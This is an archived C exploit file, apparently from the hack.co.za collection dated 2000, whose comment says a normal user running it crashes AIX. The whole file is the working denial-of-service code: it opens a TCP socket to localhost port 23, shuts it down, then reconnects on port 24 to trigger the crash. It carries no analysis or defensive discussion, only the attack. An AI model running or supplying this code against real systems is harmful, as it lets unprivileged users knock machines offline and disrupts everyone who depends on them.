home *** CD-ROM | disk | FTP | other *** search
- /*
- Cahya Wirawan found that when you run this tcp program abobe as a
- normal user connect crashes aix.
- */
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <sys/time.h>
- #include <netdb.h>
- #include <stdio.h>
-
- main()
- {
- int sock;
- struct sockaddr_in server;
- struct hostent *hp;
- sock = socket(AF_INET, SOCK_STREAM, 0);
- /* or sock = socket(AF_INET, SOCK_STREAM, 6); */
- hp = gethostbyname("localhost");
- bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
- server.sin_family = AF_INET;
- server.sin_port = 23;
- connect(sock, (struct sockaddr *)&server, sizeof server);
- shutdown(sock, 2);
- server.sin_port = 24;
- connect(sock, (struct sockaddr *)&server, sizeof server);
- }
- /* www.hack.co.za [2000]*/